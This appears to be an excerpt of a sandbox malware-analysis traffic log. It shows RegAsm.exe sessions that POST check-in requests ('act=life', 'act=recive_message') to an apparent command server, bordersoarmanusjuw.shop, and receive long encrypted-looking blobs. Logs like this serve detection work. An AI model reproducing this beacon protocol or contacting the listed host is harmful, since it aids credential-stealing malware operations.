oqqWT/ZuArY9zaB2Uw02KPA1A5VX2oOd49ZKeZunU6Gnt5NGa8+Tui2oiV8SPZ5UpDAuDOPvogBrv+fwKod/uKrLm3/qVh6SIdW8IgMZWizwPS+9Y66DscvaDkWXp2+9n5KebstbnxecyZRfGlwbCCwxF8Fzjt+IxnvqIL4mz+wKBz9/1lM/2zjJmAZTERYkyD0zkVu6m53X1n5xg4tDvZ+Sulvufg6qLMixn7aQEhSFBE6kTz4fFXfGL1wmKx6
2024-04-21 13:31:22 UTC	754	IN	Data Raw: 69 66 6d 5a 6a 4c 69 42 59 69 4a 6e 37 64 41 4b 36 6c 49 59 49 34 41 34 70 4b 48 6b 4d 61 37 54 31 32 66 6f 33 75 56 73 35 4c 61 61 39 4a 65 41 70 34 56 32 61 67 79 47 79 30 43 46 50 41 4a 48 34 46 54 6e 71 65 78 34 2b 4a 69 59 49 61 2b 77 69 51 47 71 6f 34 65 79 77 4d 33 75 72 57 6c 68 41 34 75 50 4c 4f 6b 6d 54 79 4f 41 53 6f 7a 4e 67 7a 48 78 6e 64 63 35 6f 35 6a 75 5a 4f 2b 6b 6c 66 53 63 69 71 69 47 64 32 49 45 68 63 42 41 68 44 30 4f 53 2b 42 61 35 61 44 74 65 2f 32 58 6d 6d 4c 6e 33 71 49 6b 67 73 2f 30 73 70 2b 58 37 74 51 77 49 69 2b 64 77 6b 69 46 65 57 6b 67 39 42 32 4d 7a 66 45 5a 6e 66 72 58 5a 75 32 59 75 69 69 71 72 35 50 32 6e 34 2b 6a 6a 33 70 6e 43 34 7a 4b 52 49 6f 72 43 55 76 73 51 66 61 6d 34 58 54 36 6b 70 64 6c 35 39 48 6b 61 65 37 Data Ascii: ifmZjLiBYiJn7dAK6lIYI4A4pKHkMa7T12fo3uVs5Laa9JeAp4V2agyGy0CFPAJH4FTnqex4+JiYIa+wiQGqo4eywM3urWlhA4uPLOkmTyOASozNgzHxndc5o5juZO+klfSciqiGd2IEhcBAhD0OS+Ba5aDte/2XmmLn3qIkgs/0sp+X7tQwIi+dwkiFeWkg9B2MzfEZnfrXZu2Yuiiqr5P2n4+jj3pnC4zKRIorCUvsQfam4XT6kpdl59Hkae7
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 31 61 31 38 0d 0a 38 52 6d 64 2b 74 64 6d 37 5a 69 36 4b 4b 71 70 6d 50 79 51 69 61 43 4b 59 47 34 41 67 4d 39 46 69 44 51 4e 51 4f 78 64 37 36 44 74 66 50 61 58 6b 57 58 6c 33 4f 78 70 71 75 72 33 6d 66 50 50 71 5a 51 79 4f 6b 33 47 36 47 6d 7a 65 79 4a 63 2f 56 6e 6a 71 76 35 36 39 35 4b 42 62 50 47 59 69 67 48 31 36 76 65 5a 67 65 66 46 35 7a 4a 6c 41 38 61 58 42 73 49 79 44 30 37 71 58 2b 36 68 35 6d 50 33 6d 35 74 67 35 74 2f 70 65 4f 47 32 6c 50 71 62 67 61 61 46 63 6d 77 50 68 38 4a 45 77 6e 64 70 49 49 41 54 34 37 36 6f 4b 62 54 52 73 6b 4c 32 7a 75 67 6f 79 62 4f 4a 2b 4a 2b 44 75 49 64 7a 59 52 6d 4c 33 77 54 71 55 68 34 46 67 7a 6a 39 7a 6f 4d 61 74 70 61 62 49 62 6d 61 6f 6d 48 6c 71 70 4c 35 6e 49 61 72 68 48 46 6e 43 6f 7a 44 53 49 4d 78 43 Data Ascii: 1a188Rmd+tdm7Zi6KKqpmPyQiaCKYG4AgM9FiDQNQOxd76DtfPaXkWXl3Oxpqur3mfPPqZQyOk3G6GmzeyJc/Vnjqv5695KBbPGYigH16veZgefF5zJlA8aXBsIyD07qX+6h5mP3m5tg5t/peOG2lPqbgaaFcmwPh8JEwndpIIAT476oKbTRskL2zugoybOJ+J+DuIdzYRmL3wTqUh4Fgzj9zoMatpabIbmaomHlqpL5nIarhHFnCozDSIMxC
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 78 39 62 38 68 70 50 6e 38 66 71 2b 77 69 58 4f 43 7a 2f 53 79 6a 73 2f 32 7a 69 41 73 5a 2b 32 6b 42 4a 42 35 57 51 6d 72 46 4f 71 72 36 58 4c 34 6b 6f 56 7a 35 39 76 30 61 61 32 61 6f 64 4f 56 68 4b 4b 42 66 57 6b 78 75 4f 35 4a 69 54 55 4d 52 4f 42 74 32 72 50 72 66 2f 69 57 67 58 43 68 6c 6f 6f 42 67 65 53 51 73 73 44 4e 6c 38 77 36 49 6a 44 49 70 79 2f 70 65 52 6b 4c 73 78 47 6b 6b 2b 74 2f 2b 4a 61 42 63 4b 7a 35 37 32 48 6d 71 5a 44 35 32 4d 48 47 35 78 6b 69 43 63 61 58 42 74 4a 33 61 53 43 41 45 2b 43 33 71 43 6d 30 77 63 55 36 74 49 75 31 4f 72 6a 4d 39 4f 33 57 35 38 57 56 47 67 6c 6b 78 74 6b 45 32 6e 74 54 42 59 4d 34 6a 2b 62 36 4d 61 37 54 31 79 62 69 79 76 42 73 36 62 4b 63 74 61 61 78 6a 5a 74 6b 61 42 54 45 36 55 4f 54 4d 42 64 47 2b 57 Data Ascii: x9b8hpPn8fq+wiXOCz/Syjs/2ziAsZ+2kBJB5WQmrFOqr6XL4koVz59v0aa2aodOVhKKBfWkxuO5JiTUMROBt2rPrf/iWgXChlooBgeSQssDNl8w6IjDIpy/peRkLsxGkk+t/+JaBcKz572HmqZD52MHG5xkiCcaXBtJ3aSCAE+C3qCm0wcU6tIu1OrjM9O3W58WVGglkxtkE2ntTBYM4j+b6Ma7T1ybiyvBs6bKctaaxjZtkaBTE6UOTMBdG+W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:21 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 13:31:22 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0c6kuq9nujuin70ppgqqkps54s; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GkHC65XrCrEMaaH%2FKaVb5wteIkRSKmA297nhXyPUfY4XkboGYP9Vjkl3a44YzA0xSrBQDt40rdt28Uwj%2BSNTbsQpW1UN5MgWXef6sikrR89OLETOoxLR8MejnUzemiENP5EYXHtGxPHIeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbe5af76455a-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 13:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:22 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:22 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-21 13:31:22 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oap6rt9k31pj3cg7lga94acvtp; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rlQ0fa1ApR9XWV7xZqdfGw4LFO1SGMyMWDtSpfo%2BwZc9yc6AXwL9pzICjmLWqjrUszplSTc3RDf8F1h%2FOwAOR0DQQG6Lfxqy2s4Too73q6LDjowbKUVHOKVfQg%2BpW8yRzDSm9ps6rgWtIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbea1c1d0711-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:22 UTC	557	IN	Data Raw: 35 30 38 0d 0a 33 79 61 75 65 76 54 7a 63 74 46 6a 54 6c 58 75 34 41 57 57 46 2f 42 6b 48 6c 6e 4a 32 73 66 71 4e 68 6f 4c 74 35 71 48 50 2b 36 6b 4c 4b 64 59 67 74 46 49 38 56 64 69 58 2b 66 43 64 76 4d 31 79 6b 52 71 4b 37 79 2f 36 2b 41 2f 4f 47 72 54 75 4c 30 66 69 4c 35 4b 33 52 2f 59 2b 58 76 7a 44 6a 5a 33 31 4d 42 65 6e 42 36 4c 62 68 64 51 36 37 2b 70 79 41 77 36 4b 63 44 2f 35 56 71 57 71 30 50 41 43 5a 32 63 48 4a 45 4f 4b 79 47 50 6a 57 54 6c 66 4e 34 4e 63 58 76 6c 30 4d 37 6a 46 48 39 78 6c 61 43 6e 48 61 4f 36 55 73 38 33 6c 59 41 5a 38 30 39 45 58 4f 66 43 59 4f 49 31 79 6b 51 38 42 65 75 71 70 70 68 58 64 33 6a 72 75 4c 31 45 73 76 31 50 32 68 2b 47 6b 67 61 34 44 43 41 6d 73 73 49 2f 6f 43 66 41 56 43 35 70 74 50 6a 4e 34 30 73 51 41 75 Data Ascii: 5083yauevTzctFjTlXu4AWWF/BkHlnJ2sfqNhoLt5qHP+6kLKdYgtFI8VdiX+fCdvM1ykRqK7y/6+A/OGrTuL0fiL5K3R/Y+XvzDjZ31MBenB6LbhdQ67+pyAw6KcD/5VqWq0PACZ2cHJEOKyGPjWTlfN4NcXvl0M7jFH9xlaCnHaO6Us83lYAZ809EXOfCYOI1ykQ8BeuqpphXd3jruL1Esv1P2h+Gkga4DCAmssI/oCfAVC5ptPjN40sQAu
2024-04-21 13:31:22 UTC	738	IN	Data Raw: 48 59 75 78 42 4a 52 61 31 70 63 65 73 67 77 73 4a 59 53 4a 62 50 46 6e 6d 51 39 78 4e 71 75 31 72 34 64 58 65 47 37 66 38 75 70 58 69 4c 42 4a 79 68 69 57 30 56 37 62 61 6b 64 33 69 35 6f 6e 72 44 66 53 4a 58 6b 72 72 4c 53 7a 79 6d 34 34 41 62 37 6e 71 7a 62 4f 2f 79 79 6e 41 66 37 36 65 2f 4d 47 49 48 66 55 77 43 66 38 63 4a 45 46 64 7a 53 6f 73 4b 36 61 56 47 70 76 32 50 33 33 57 34 6d 7a 54 73 38 4b 6e 4a 38 57 73 41 67 6e 50 6f 6d 46 59 37 51 37 2b 6d 30 58 65 36 79 67 35 64 41 57 4f 45 6a 59 38 2b 6c 58 6d 37 30 45 70 48 4f 4a 33 33 6a 59 47 45 52 63 35 38 4a 67 2b 44 58 4b 52 44 77 2f 71 72 79 6b 6a 46 70 32 62 64 6e 2b 36 31 43 44 75 30 37 4d 48 35 79 5a 47 4c 49 4d 4a 7a 69 4d 68 32 72 77 63 35 34 48 65 58 76 6c 30 4d 37 6a 46 48 39 78 6c 61 43 Data Ascii: HYuxBJRa1pcesgwsJYSJbPFnmQ9xNqu1r4dXeG7f8upXiLBJyhiW0V7bakd3i5onrDfSJXkrrLSzym44Ab7nqzbO/yynAf76e/MGIHfUwCf8cJEFdzSosK6aVGpv2P33W4mzTs8KnJ8WsAgnPomFY7Q7+m0Xe6yg5dAWOEjY8+lXm70EpHOJ33jYGERc58Jg+DXKRDw/qrykjFp2bdn+61CDu07MH5yZGLIMJziMh2rwc54HeXvl0M7jFH9xlaC
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 33 34 65 34 0d 0a 44 2f 31 70 52 79 37 6b 36 51 79 30 63 70 35 47 4a 48 6e 72 76 71 6d 4e 57 33 5a 70 32 2f 6e 6f 57 34 69 77 52 4e 34 65 68 4a 59 52 73 41 49 71 4d 6f 69 43 5a 76 46 77 6c 67 35 34 4e 36 54 34 36 2b 41 2f 45 79 6e 53 34 4b 55 46 7a 76 31 72 32 78 61 41 6d 67 53 30 45 54 30 4e 7a 72 64 6b 2b 6e 75 56 45 44 78 54 77 4b 66 72 34 44 39 68 41 62 36 54 70 56 71 41 2f 52 79 4f 57 4a 2b 44 41 72 63 48 4a 7a 79 65 6b 47 33 77 64 4a 4d 42 63 7a 71 67 76 61 6d 43 58 33 78 37 33 66 48 6d 54 34 69 39 54 38 59 65 31 74 39 34 32 47 70 73 4d 4a 54 43 50 37 59 31 74 67 74 73 4e 36 43 75 6f 70 68 68 65 32 66 62 2f 2f 4d 64 35 4e 5a 62 67 6e 44 39 69 48 6a 59 61 6d 77 77 67 4d 49 2f 74 6a 57 64 43 58 4d 7a 71 37 6d 68 68 56 42 35 5a 4e 6e 78 35 6c 47 41 74 Data Ascii: 34e4D/1pRy7k6Qy0cp5GJHnrvqmNW3Zp2/noW4iwRN4ehJYRsAIqMoiCZvFwlg54N6T46+A/EynS4KUFzv1r2xaAmgS0ET0Nzrdk+nuVEDxTwKfr4D9hAb6TpVqA/RyOWJ+DArcHJzyekG3wdJMBczqgvamCX3x73fHmT4i9T8Ye1t942GpsMJTCP7Y1tgtsN6Cuophhe2fb//Md5NZbgnD9iHjYamwwgMI/tjWdCXMzq7mhhVB5ZNnx5lGAt
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 6d 6e 42 79 34 44 57 34 43 6a 34 78 70 38 32 50 53 62 68 63 6b 35 64 44 4f 6b 54 77 54 41 70 58 2f 36 52 33 55 2f 77 54 44 47 5a 75 62 47 37 30 4e 4c 54 65 49 67 57 33 30 65 70 63 41 64 44 4b 72 71 71 4b 48 56 58 6c 69 33 76 58 72 57 49 32 34 51 34 78 57 2f 76 70 37 38 77 59 30 64 39 54 41 4a 39 6c 63 71 45 59 55 55 4c 54 32 7a 65 4e 4e 45 41 4b 2b 75 4f 4a 52 7a 4f 55 47 6a 42 79 63 6b 52 32 35 43 69 4d 30 69 34 78 6e 2b 58 2b 41 44 6e 77 37 70 62 36 6b 68 46 46 35 5a 64 62 71 36 56 75 42 75 30 7a 65 57 4e 6a 35 65 39 68 42 4b 79 2f 4d 32 69 57 30 56 5a 6b 4b 66 7a 65 71 76 2b 65 70 58 6e 74 69 32 62 72 51 58 6f 4b 7a 51 39 70 59 2f 76 6f 50 2f 57 6c 48 4c 75 54 70 44 4c 52 79 6e 6b 59 6b 65 65 75 38 6f 59 52 55 66 32 66 52 2f 75 68 61 68 37 42 4f 79 78 Data Ascii: mnBy4DW4Cj4xp82PSbhck5dDOkTwTApX/6R3U/wTDGZubG70NLTeIgW30epcAdDKrqqKHVXli3vXrWI24Q4xW/vp78wY0d9TAJ9lcqEYUULT2zeNNEAK+uOJRzOUGjByckR25CiM0i4xn+X+ADnw7pb6khFF5Zdbq6VuBu0zeWNj5e9hBKy/M2iW0VZkKfzeqv+epXnti2brQXoKzQ9pY/voP/WlHLuTpDLRynkYkeeu8oYRUf2fR/uhah7BOyx
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 73 67 51 70 4e 6f 69 4f 62 66 4a 32 6b 51 6c 7a 4e 4b 50 34 36 2b 41 2f 45 79 6e 53 34 4b 55 46 7a 76 31 68 32 78 4f 59 6c 31 44 62 61 6a 4e 35 35 4f 6c 2b 6e 42 37 35 52 6e 73 33 36 2b 44 6e 79 46 68 78 62 39 50 39 36 56 79 4b 74 55 48 45 48 4a 65 58 46 72 41 4f 4b 44 4b 4e 6a 57 50 34 65 35 67 48 66 54 65 67 74 36 36 4e 46 44 59 42 76 70 4f 6c 57 70 54 39 48 49 35 59 70 35 49 47 70 42 45 67 64 2b 54 70 65 4c 6f 64 2b 52 38 55 55 4d 44 34 6f 6f 51 55 49 43 75 56 2b 66 64 58 68 72 4e 42 77 78 32 56 6e 68 65 2b 42 79 41 39 68 59 70 68 2b 33 79 41 42 58 41 31 72 4c 61 70 68 6c 6c 79 61 74 69 34 71 7a 58 6e 31 67 54 4c 41 4e 62 4a 55 76 4d 74 4b 7a 71 69 69 57 76 7a 4e 66 70 74 59 33 58 44 30 37 7a 67 50 78 4d 70 30 76 53 6c 42 63 37 39 53 4d 59 55 6e 35 45 Data Ascii: sgQpNoiObfJ2kQlzNKP46+A/EynS4KUFzv1h2xOYl1DbajN55Ol+nB75Rns36+DnyFhxb9P96VyKtUHEHJeXFrAOKDKNjWP4e5gHfTegt66NFDYBvpOlWpT9HI5Yp5IGpBEgd+TpeLod+R8UUMD4ooQUICuV+fdXhrNBwx2Vnhe+ByA9hYph+3yABXA1rLaphllyati4qzXn1gTLANbJUvMtKzqiiWvzNfptY3XD07zgPxMp0vSlBc79SMYUn5E
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 44 32 45 6a 57 6a 6d 64 4a 30 50 65 7a 43 6d 74 36 75 4e 57 6d 70 75 33 76 50 74 56 49 4b 37 42 49 4a 77 2f 66 70 51 74 42 6c 73 62 38 37 43 55 66 64 37 6d 52 64 7a 4f 4b 66 34 7a 65 4e 4c 4e 67 47 2b 34 59 30 32 35 2f 31 44 77 46 6a 4f 30 31 43 2f 44 79 77 34 67 49 35 73 2f 48 53 65 43 48 73 2b 6f 72 43 74 6d 6c 56 38 59 64 54 32 36 6c 79 49 75 45 48 49 48 35 4b 58 48 2f 4e 50 52 46 7a 6e 77 6d 44 73 4e 63 70 45 50 42 53 73 72 59 53 79 46 42 41 43 79 72 61 4e 4e 70 58 56 4c 36 64 59 6b 5a 31 51 36 30 4e 73 50 59 65 47 5a 50 42 77 6e 51 64 39 50 62 6d 2f 72 4a 70 61 64 57 62 64 38 4f 78 63 69 4c 68 4a 79 68 53 63 6b 42 65 39 44 79 52 33 77 75 6f 4d 6e 7a 57 56 48 6a 78 6a 36 66 69 45 6d 45 39 71 66 39 6a 5a 36 46 4c 4d 31 53 2f 54 56 76 37 36 43 64 74 71 Data Ascii: D2EjWjmdJ0PezCmt6uNWmpu3vPtVIK7BIJw/fpQtBlsb87CUfd7mRdzOKf4zeNLNgG+4Y025/1DwFjO01C/Dyw4gI5s/HSeCHs+orCtmlV8YdT26lyIuEHIH5KXH/NPRFznwmDsNcpEPBSsrYSyFBACyraNNpXVL6dYkZ1Q60NsPYeGZPBwnQd9Pbm/rJpadWbd8OxciLhJyhSckBe9DyR3wuoMnzWVHjxj6fiEmE9qf9jZ6FLM1S/TVv76Cdtq
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 74 76 38 48 79 53 41 6e 59 32 72 4c 69 67 68 56 46 38 5a 39 48 2f 35 56 47 44 75 6b 7a 44 48 4a 61 65 55 50 31 70 52 31 7a 4d 68 58 2b 30 4c 64 42 47 58 44 43 39 6d 61 75 44 52 6a 67 42 76 75 65 72 4e 65 65 6b 4c 4b 64 7a 31 70 59 63 38 31 6c 75 64 34 4b 4c 5a 76 78 37 6e 67 35 34 4b 61 75 7a 72 49 64 56 64 32 6e 57 2b 65 39 56 6e 72 74 45 78 78 43 52 6d 52 53 39 45 79 30 34 7a 4d 77 50 6e 78 37 53 41 57 52 37 38 2f 72 6c 75 55 4a 2f 62 74 71 36 7a 46 71 58 76 45 37 50 45 35 72 52 65 4e 67 65 59 6c 2f 6e 6d 77 2b 66 48 74 49 42 63 48 76 7a 2b 75 57 46 57 48 56 74 78 2f 54 6c 58 59 57 36 54 74 34 58 6d 5a 77 54 73 77 51 2b 4e 70 36 4e 62 50 46 32 6c 67 6c 7a 4e 36 4f 79 35 63 59 38 45 77 4b 56 2f 2f 30 64 31 50 38 45 34 42 75 48 6d 31 4b 55 47 7a 6f 77 67 Data Ascii: tv8HySAnY2rLighVF8Z9H/5VGDukzDHJaeUP1pR1zMhX+0LdBGXDC9mauDRjgBvuerNeekLKdz1pYc81lud4KLZvx7ng54KauzrIdVd2nW+e9VnrtExxCRmRS9Ey04zMwPnx7SAWR78/rluUJ/btq6zFqXvE7PE5rReNgeYl/nmw+fHtIBcHvz+uWFWHVtx/TlXYW6Tt4XmZwTswQ+Np6NbPF2lglzN6Oy5cY8EwKV//0d1P8E4BuHm1KUGzowg
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 31 79 6b 51 38 47 4c 79 75 72 35 4d 55 45 41 4c 4b 74 6f 30 32 6c 64 55 76 70 31 69 52 6e 56 44 72 51 32 77 36 69 34 78 76 38 6e 75 55 46 48 41 30 72 62 69 6b 67 6c 6c 30 59 74 4c 32 37 6c 75 4a 73 45 54 4b 48 70 4b 56 46 4c 30 43 62 48 6e 6b 36 51 79 30 63 6f 70 47 4a 48 6e 72 6e 34 69 35 46 6c 74 2b 77 2f 4c 69 55 5a 71 32 52 63 38 4f 6d 34 46 51 32 32 6f 7a 65 65 54 70 66 70 77 65 2b 55 5a 37 4e 2b 76 67 35 38 68 66 64 6d 7a 55 39 4f 39 61 67 71 39 46 78 68 53 58 6c 68 65 34 45 79 63 6c 68 34 70 6b 2b 6e 32 62 42 6e 49 37 71 72 57 6c 79 42 6f 51 41 72 36 34 34 6b 58 4d 35 51 61 4d 50 62 57 47 42 72 6c 44 44 79 43 61 69 47 44 34 59 35 6b 48 66 79 32 6d 71 4f 58 67 50 32 63 6e 76 5a 50 38 4e 65 66 57 42 4d 73 55 31 73 6c 53 38 77 6f 6a 4f 59 47 4a 59 2f Data Ascii: 1ykQ8GLyur5MUEALKto02ldUvp1iRnVDrQ2w6i4xv8nuUFHA0rbikgll0YtL27luJsETKHpKVFL0CbHnk6Qy0copGJHnrn4i5Flt+w/LiUZq2Rc8Om4FQ22ozeeTpfpwe+UZ7N+vg58hfdmzU9O9agq9FxhSXlhe4Eyclh4pk+n2bBnI7qrWlyBoQAr644kXM5QaMPbWGBrlDDyCaiGD4Y5kHfy2mqOXgP2cnvZP8NefWBMsU1slS8wojOYGJY/
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 46 31 44 72 76 4c 54 49 44 44 6f 35 68 36 4f 77 44 74 76 74 46 71 52 7a 69 64 39 34 32 42 68 45 58 4f 66 43 63 62 51 74 30 46 51 79 55 38 44 54 35 5a 6f 55 49 43 75 56 76 2b 74 51 6a 62 35 4b 7a 77 71 45 6c 78 4f 6c 41 6d 73 4a 73 71 4e 71 2f 33 6d 66 43 58 63 46 6c 5a 6d 6f 67 31 68 31 5a 74 37 47 32 30 69 50 73 30 72 4c 44 6f 66 52 58 74 74 71 52 33 65 44 77 6a 2b 32 54 4e 4a 4f 50 41 54 6c 30 4d 37 6a 46 47 41 70 6a 62 71 6c 61 49 2b 7a 53 73 73 4f 68 39 77 78 76 67 6f 67 4f 6f 4f 4a 4a 37 6f 64 2b 57 30 38 50 65 76 67 35 39 67 61 45 41 4b 2b 75 4f 46 4d 7a 4f 55 47 6e 45 72 4e 78 45 50 6b 55 58 35 66 35 35 30 70 6e 42 36 4c 62 68 64 51 36 36 37 6c 30 42 59 71 4a 37 32 54 6a 68 32 65 2f 52 79 4f 57 4e 47 53 41 71 45 48 4c 79 47 50 78 56 6e 4b 56 6f 55 Data Ascii: F1DrvLTIDDo5h6OwDtvtFqRzid942BhEXOfCcbQt0FQyU8DT5ZoUICuVv+tQjb5KzwqElxOlAmsJsqNq/3mfCXcFlZmog1h1Zt7G20iPs0rLDofRXttqR3eDwj+2TNJOPATl0M7jFGApjbqlaI+zSssOh9wxvgogOoOJJ7od+W08Pevg59gaEAK+uOFMzOUGnErNxEPkUX5f550pnB6LbhdQ667l0BYqJ72Tjh2e/RyOWNGSAqEHLyGPxVnKVoU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:22 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:22 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-21 13:31:22 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=896g04hsi9icum6o9m389lbmt0; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=44m7Yc7%2FbsZJGoFmlnI5tPpXtIEE2v%2FCsDStkxJT4PDAEuFhlOuICqDSN849e%2B1YKe9fkJxU1pxXJxgA1ClcX8UBYdisdM0nDI%2Bd4e8e52NY6%2BK1JqDJLTV0Xvtlhs4m4b%2BZoS55uIl9bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbea992fadd5-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:22 UTC	551	IN	Data Raw: 33 39 65 63 0d 0a 77 48 38 2b 74 75 6c 49 72 6c 36 4d 44 35 34 69 77 72 6e 2f 4d 4e 35 75 6d 67 7a 65 59 67 74 74 59 6e 4c 47 33 33 6d 72 48 43 65 37 64 54 65 55 6e 32 71 55 66 72 67 6a 6c 43 76 67 79 70 6f 53 35 45 37 75 66 71 73 48 4a 32 64 72 55 4b 65 37 57 35 45 38 51 61 45 54 54 64 50 46 51 71 64 38 34 58 65 38 47 4f 4c 69 39 54 6d 6c 5a 4a 4d 46 2f 41 64 6c 54 31 68 53 35 4b 67 63 79 58 6c 66 74 42 70 51 78 59 41 6e 77 42 37 68 61 75 70 44 72 39 69 4d 57 2f 41 48 39 53 37 79 61 41 4a 6b 51 42 65 38 2f 55 4f 4c 50 6d 71 6c 43 31 2f 37 69 44 76 46 66 4b 41 46 6c 79 76 67 33 49 73 53 35 45 36 34 55 50 77 53 61 68 38 44 48 37 57 44 57 35 46 6e 65 2b 49 57 53 74 4f 62 4b 64 6f 33 34 32 48 74 66 75 43 44 79 51 44 75 58 71 6f 38 6f 30 41 42 5a 42 39 34 7a Data Ascii: 39ecwH8+tulIrl6MD54iwrn/MN5umgzeYgttYnLG33mrHCe7dTeUn2qUfrgjlCvgypoS5E7ufqsHJ2drUKe7W5E8QaETTdPFQqd84Xe8GOLi9TmlZJMF/AdlT1hS5KgcyXlftBpQxYAnwB7haupDr9iMW/AH9S7yaAJkQBe8/UOLPmqlC1/7iDvFfKAFlyvg3IsS5E64UPwSah8DH7WDW5Fne+IWStObKdo342HtfuCDyQDuXqo8o0ABZB94z
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 48 75 39 31 58 43 69 50 6b 4b 75 58 51 53 57 79 79 7a 43 50 65 4e 74 37 6b 69 72 30 4a 68 41 74 77 58 31 59 37 77 4e 59 77 41 44 45 4b 4f 33 45 63 5a 30 51 61 38 51 57 74 53 4c 61 6f 4a 55 68 51 61 38 52 37 69 62 78 52 44 38 4c 2f 31 2b 75 77 78 2f 54 54 70 51 7a 4e 59 45 68 78 55 48 34 48 55 33 7a 65 4e 42 70 33 7a 70 59 62 77 59 34 70 75 56 56 37 38 50 38 32 47 2f 43 47 49 64 41 41 4b 69 73 42 37 62 65 45 43 73 46 31 2f 47 67 53 54 4b 50 2b 64 6d 39 55 57 6e 33 39 30 63 31 47 65 54 4c 72 73 59 4b 56 64 43 55 49 57 77 45 4d 56 30 55 71 4a 64 4e 4c 2b 55 5a 4b 52 58 39 77 57 58 4b 2b 44 63 6b 52 4c 6b 54 72 68 71 76 51 52 6f 43 77 34 65 6f 4c 45 64 78 33 4e 4b 70 42 64 63 30 34 45 69 78 44 33 6a 5a 76 4e 41 70 64 61 5a 56 4c 41 4e 2f 53 37 79 61 41 4a 6b Data Ascii: 